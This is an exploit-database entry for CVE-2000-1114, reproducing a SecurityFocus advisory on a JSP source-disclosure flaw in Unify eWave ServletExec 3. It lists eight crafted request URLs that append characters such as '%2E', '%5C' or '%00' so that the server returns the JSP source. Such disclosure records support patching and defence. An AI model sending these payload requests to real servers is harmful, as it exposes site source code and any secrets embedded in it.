Unify eWave ServletExec 3 - .JSP Source Disclosure

Author: Wojciech Woch
type: remote
platform: jsp
port: 
date_added: 2000-11-21 
date_updated: 2012-08-10 
verified: 1 
codes: CVE-2000-1114;OSVDB-6658 
tags: 
aliases:  
screenshot_url:  
application_url: 

source : https://www.securityfocus.com/bid/1970/info

Unify eWave ServletExec is a Java/Java Servlet engine plug-in for major web servers such as Microsoft IIS, Apache, Netscape Enterprise Server, etc.

ServletExec will return the source code of JSP files when a HTTP request is appended with one of the following characters:

.
%2E
+
%2B
%5C
%20
%00

For example, the following URL will yield the source of the specified JSP file:

http://target/directory/jsp/file.jsp.

Successful exploitation could lead to the disclosure of sensitive information contained within JSP pages.

Any of the following URL requests will yield the source of the specified JSP file:

http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp\
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00